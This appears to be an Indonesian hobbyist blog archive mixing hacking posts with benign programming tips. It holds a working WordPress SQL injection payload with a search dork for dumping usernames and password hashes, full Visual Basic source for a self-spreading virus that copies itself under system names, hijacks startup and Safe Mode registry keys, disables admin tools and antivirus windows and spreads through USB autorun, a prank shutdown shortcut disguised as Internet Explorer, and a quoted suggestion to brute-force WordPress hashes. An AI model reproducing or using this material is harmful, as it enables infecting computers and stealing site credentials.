Selasa, 05 April 2011
Wordpress Sql Injection
Type : Sql-Injection
Dork : inurl:"fbconnect_action=myhome"
Exploit : ?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)kiddevilz,7,8,9,10,11,12+from+wp_users--
PoC : www.site.name/path/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)kiddevilz,7,8,9,10,11,12+from+wp_users--
Sabtu, 01 Januari 2011
Membuat Virus MsWord Etc yg baik hati ^__^
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.
Masukan semua code di bawah ini pada form :
==========================================
Private Declare Function FindWindow Lib "user32″ Alias "FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib "user32″ Alias "SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ’sendmessage
Private Declare Function GetDriveType& Lib "Kernel32″ Alias "GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk
Private Declare Function ExitWindowsEx Lib "user32″ (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) ’silahkan masukan angka sesuka anda
‘menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False ‘virus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(”word.application”)
Set doc = CreateObject(”word.application”)
Set doc = obj.Documents.Add
doc.Content = "VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(”excel.application”)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, "Explorer.exe” & ” "”" & FolderMyDocuments & "\services.exe”"” ‘virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & "\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, "REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, "REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, "REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, "REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, "REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, "REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, "REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, "REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & "\smss.exe” ’smss.exe berjalan pada saat startup
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & "\System.exe” ‘System.exe berjalan pada saat startup
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, "REG_DWORD” ’search pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, "REG_DWORD” ‘Ssearch pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, "REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, "REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, "REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, "REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, "255 0 0″, "REG_SZ” ‘DEFAULT TEKS MENJADI MERAH
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & "\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, "REG_DWORD” ‘Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, "REG_DWORD” ‘Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, "REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, "REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, "REG_DWORD” ‘Autorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & "\Winlogon.exe”) <> "Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & "\Winlogon.exe”, FlashDisk & "\Winlogon.exe”
SetAttr FlashDisk & "\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & "\Autorun.Inf” For Output As 1
Print #1, "[AutoRun]”
Print #1, "Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, "Open=Winlogon.exe”
Print #1, "ShellExecute=Winlogon.exe”
Print #1, "Shell\Open\Command=Winlogon.exe”
Print #1, "Shell=Open”
Close #1
SetAttr FlashDisk & "\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(”WScript.Shell”)
FolderStartUp = RegRun.specialfolders(”StartUp”)
FolderMyDocuments = RegRun.specialfolders(”MyDocuments”)
FolderTemplates = RegRun.specialfolders(”Templates”)
FolderNetHood = RegRun.specialfolders(”NetHood”)
FolderPrintHood = RegRun.specialfolders(”PrintHood”)
FolderFavorites = RegRun.specialfolders(”Favorites”)
FolderSendTo = RegRun.specialfolders(”SendTo”)
FolderPrograms = RegRun.specialfolders(”Programs”)
On Error Resume Next
‘membuat virus dengan nama winlogon.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderStartUp & "\WinLogon.Exe”
SetAttr FolderStartUp & "\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama services.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderMyDocuments & "\services.Exe”
SetAttr FolderMyDocuments & "\services.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama smss.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderTemplates & "\smss.Exe”
SetAttr FolderTemplates & "\smss.Exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama csrss.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderPrintHood & "\csrss.Exe”
SetAttr FolderPrintHood & "\csrss.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama Isass.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderNetHood & "\Isass.Exe”
SetAttr FolderNetHood & "\Isass.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderFavorites & "\SalamKenal.Exe”
SetAttr FolderFavorites & "\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama System.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderSendTo & "\System.Exe”
SetAttr FolderSendTo & "\System.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama ctfmon.exe
FileCopy App.Path & "\” & App.EXEName & ".exe”, FolderPrograms & "\ctfmon.Exe”
SetAttr FolderPrograms & "\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(”OpusApp”, "Document1 – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(”OpusApp”, "New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(”XLMAIN”, "Microsoft Excel – Book1″) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(”XLMAIN”, "Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
‘menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(”#32770″, "RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(”#32770″, "System Configuration Utility”) ‘msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(”#32770″, "Windows Task Manager”) ‘task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(”#32770″, "Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(”#32770″, "AntiVir Guard: Attention, Detection!”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(”RegEdit_RegEdit”, vbNullString) ‘regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(”TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d SendMessage FWnd, WM_CLOSE, 0&, 0& FWnd = FindWindow(”TApplication”, vbNullString) ‘aplikasi buatan Delphi SendMessage FWnd, WM_CLOSE, 0&, 0& End Sub
Private Sub Timer4_Timer()
‘cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
‘menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> "a” Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
silahkan download projectnya
moga bermanfaat... ^__^
Mematikan Komputer dengan Bom waktu
Berikut ini langkah-langkahnya :
Klik kanan pada desktop, kemudian pilih new shortcut, kemudian akan muncul window kecil, kemudian masukan ke teks box = shutdown -s -t 800 -c "Pesan anda”
Kemudian klik next, maka anda akan diminta membuat untuk icon anda, anda bebas memberi nama apapun, kali ini W dengan contoh "Internet Explorer”, kemudian klik finish.
Jadi dech, tapi kok icon nya jelek ya?, untuk itu klik kanan pada icon tersebut, kemudian klik property, klik change icon, klik OK aja kalau ada konfirmasi, kemudian pilih icon sesuai selera (disini W dengan contoh icon Internet Explorer).OK, apply, OK.
Kemudian mari kita coba double klik icon tersebut, maka kalau benar maka akan keluar sebuah konfirmasi bahwa windows akan shutdown dalam waktu beberapa menit. nah kalau dibiarkan terus maka akan benar-benar shutdown.
nah untuk menanggulanginya, cukup klik start, pilih RUN, lalu ketikan shutdown -a
ni brjalan cuman d Windows ja, lw d linux blom tw... hihihiihi
selamat mencoba, moga bermanfaat... ^__^
Rabu, 29 Desember 2010
Senin, 13 September 2010
FirePHP
Semua data dikirim melalui serangkaian respon header X-FirePHP-Data. Ini berarti bahwa data debug tidak akan mengganggu. Jadi FirePHP cocok untuk pengembangan AJAX dimana JSON atau XML memerlukan respon yang bersih.
<?php
require('FirePHPCore/fb.php')
/* NOTE: You must have Output Buffering enabled via
ob_start() or output_buffering ini directive. */
fb('Hello World'); /* Defaults to FirePHP::LOG */
fb('Log message' ,FirePHP::LOG);
fb('Info message' ,FirePHP::INFO);
fb('Warn message' ,FirePHP::WARN);
fb('Error message',FirePHP::ERROR);
fb('Message with label','Label',FirePHP::LOG);
fb(array('key1'=>'val1',
'key2'=>array(array('v1','v2'),'v3')),
'TestArray',FirePHP::LOG);
function test($Arg1) {
throw new Exception('Test Exception');
}
try {
test(array('Hello'=>'World'));
} catch(Exception $e) {
/* Log exception including stack trace & variables */
fb($e);
}
fb(array('2 SQL queries took 0.06 seconds',array(
array('SQL Statement','Time','Result'),
array('SELECT * FROM Foo','0.02',array('row1','row2')),
array('SELECT * FROM Bar','0.04',array('row1','row2'))
)),FirePHP::TABLE);
?>
Sumber
Selasa, 31 Agustus 2010
Shell Script Untuk Mendapatkan Informasi data center, IP pemilik, Kota dan Negara Dari Nama Domain
#!/bin/bash
# A sample shell script to print domain ip address hosting information such as
# Location of server, city, ip address owner, country and network range.
# This is useful to track spammers or research purpose.
# -------------------------------------------------------------------------
# Copyright (c) 2006 nixCraft project <http://cyberciti.biz/fb/>
# This script is licensed under GNU GPL version 2.0 or above
# -------------------------------------------------------------------------
# This script is part of nixCraft shell script collection (NSSC)
# Visit http://bash.cyberciti.biz/ for more information.
# -------------------------------------------------------------------------
# Last updated on Mar/05/2010
# -------------------------------------------------------------------------
# Get all domains
_dom=$@
# Die if no domains are given
[ $# -eq 0 ] && { echo "Usage: $0 domain1.com domain2.com ..."; exit 1; }
for d in $_dom
do
_ip=$(host $d | grep 'has add' | head -1 | awk '{ print $4}')
[ "$_ip" == "" ] && { echo "Error: $d is not valid domain or dns error."; continue; }
echo "Getting information for domain: $d [ $_ip ]..."
whois "$_ip" | egrep -w 'OrgName:|City:|Country:|OriginAS:|NetRange:'
echo ""
done
Jalankan script berikut ini :
./script.sh cyberciti.biz google.comContoh yang keluar:
SumberGetting information for domain: cyberciti.biz [ 74.86.48.99 ]...
OrgName: SoftLayer Technologies Inc.
City: Dallas
Country: US
NetRange: 74.86.0.0 - 74.86.255.255
OriginAS: AS36351
Getting information for domain: google.com [ 209.85.231.104 ]...
OrgName: Google Inc.
City: Mountain View
Country: US
NetRange: 209.85.128.0 - 209.85.255.255
Selasa, 10 Agustus 2010
Bingung, apa ni ya Maksudnya??
password generated with Wordpress
technology?
how to decrypt?
for example:
admin:$P$9UNhia0YtfZBjpIxbzHZMsuL.SXrU9.
habis tu ada yang jawab kayak gni :
Someone correct me or confirm this please.
<?php
class PasswordHash {
var $itoa64;
var $iteration_count_log2;
var $portable_hashes;
var $random_state;
function PasswordHash($iteration_count_log2, $portable_hashes)
{
$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
$iteration_count_log2 = 8;
$this->iteration_count_log2 = $iteration_count_log2;
$this->portable_hashes = $portable_hashes;
$this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compability reasons
}
function get_random_bytes($count)
{
$output = '';
if ( @is_readable('/dev/urandom') &&
($fh = @fopen('/dev/urandom', 'rb'))) {
$output = fread($fh, $count);
fclose($fh);
}
if (strlen($output) < $count) {
$output = '';
for ($i = 0; $i < $count; $i += 16) {
$this->random_state =
md5(microtime() . $this->random_state);
$output .=
pack('H*', md5($this->random_state));
}
$output = substr($output, 0, $count);
}
return $output;
}
function encode64($input, $count)
{
$output = '';
$i = 0;
do {
$value = ord($input[$i++]);
$output .= $this->itoa64[$value & 0x3f];
if ($i < $count)
$value |= ord($input[$i]) << 8;
$output .= $this->itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count)
break;
if ($i < $count)
$value |= ord($input[$i]) << 16;
$output .= $this->itoa64[($value >> 12) & 0x3f];
if ($i++ >= $count)
break;
$output .= $this->itoa64[($value >> 18) & 0x3f];
} while ($i < $count);
return $output;
}
function gensalt_private($input)
{
$output = '$P$';
$output .= $this->itoa64[min($this->iteration_count_log2 +
((PHP_VERSION >= '5') ? 5 : 3), 30)];
$output .= $this->encode64($input, 6);
return $output;
}
function crypt_private($password, $setting)
{
$output = '*0';
if (substr($setting, 0, 2) == $output)
$output = '*1';
if (substr($setting, 0, 3) != '$P$')
return $output;
$count_log2 = strpos($this->itoa64, $setting[3]);
if ($count_log2 < 7 || $count_log2 > 30)
return $output;
$count = 1 << $count_log2;
$salt = substr($setting, 4, 8);
if (strlen($salt) != 8)
return $output;
if (PHP_VERSION >= '5') {
$hash = md5($salt . $password, TRUE);
do {
$hash = md5($hash . $password, TRUE);
} while (--$count);
} else {
$hash = pack('H*', md5($salt . $password));
do {
$hash = pack('H*', md5($hash . $password));
} while (--$count);
}
$output = substr($setting, 0, 12);
$output .= $this->encode64($hash, 16);
return $output;
}
function gensalt_extended($input)
{
$count_log2 = min($this->iteration_count_log2 + 8, 24);
# This should be odd to not reveal weak DES keys, and the
# maximum valid value is (2**24 - 1) which is odd anyway.
$count = (1 << $count_log2) - 1;
$output = '_';
$output .= $this->itoa64[$count & 0x3f];
$output .= $this->itoa64[($count >> 6) & 0x3f];
$output .= $this->itoa64[($count >> 12) & 0x3f];
$output .= $this->itoa64[($count >> 18) & 0x3f];
$output .= $this->encode64($input, 3);
return $output;
}
function gensalt_blowfish($input)
{
$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$output = '$2a$';
$output .= chr(ord('0') + $this->iteration_count_log2 / 10);
$output .= chr(ord('0') + $this->iteration_count_log2 % 10);
$output .= '
$i = 0;
do {
$c1 = ord($input[$i++]);
$output .= $itoa64[$c1 >> 2];
$c1 = ($c1 & 0x03) << 4;
if ($i >= 16) {
$output .= $itoa64[$c1];
break;
}
$c2 = ord($input[$i++]);
$c1 |= $c2 >> 4;
$output .= $itoa64[$c1];
$c1 = ($c2 & 0x0f) << 2;
$c2 = ord($input[$i++]);
$c1 |= $c2 >> 6;
$output .= $itoa64[$c1];
$output .= $itoa64[$c2 & 0x3f];
} while (1);
return $output;
}
function HashPassword($password)
{
$random = '';
if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
$random = $this->get_random_bytes(16);
$hash =
crypt($password, $this->gensalt_blowfish($random));
if (strlen($hash) == 60)
return $hash;
}
if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) {
if (strlen($random) < 3)
$random = $this->get_random_bytes(3);
$hash =
crypt($password, $this->gensalt_extended($random));
if (strlen($hash) == 20)
return $hash;
}
if (strlen($random) < 6)
$random = $this->get_random_bytes(6);
$hash =
$this->crypt_private($password,
$this->gensalt_private($random));
if (strlen($hash) == 34)
return $hash;
return '*';
}
function CheckPassword($password, $stored_hash)
{
$hash = $this->crypt_private($password, $stored_hash);
if ($hash[0] == '*')
$hash = crypt($password, $stored_hash);
return $hash == $stored_hash;
}
}
?>
^code used to generate the hash, may not be the same as your version but ya...
<?php
$wp_hasher = new PasswordHash(8, TRUE);
$password_hashed = '$P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/';
$plain_password = 'test';
if($wp_hasher->CheckPassword($plain_password, $password_hashed)) {
echo "YES, Matched";
}
else {
echo "No, Wrong Password";
}
?>
^code from wordpress that can be modified to brute a password, just a fyi lol
That should be everything you need :D
habis itu aku bingung banget apa tu maksud dari jawaban orang tu ya,,....
soalnya bahasa inggris minim banget, jdi ya agak bingung,,,,...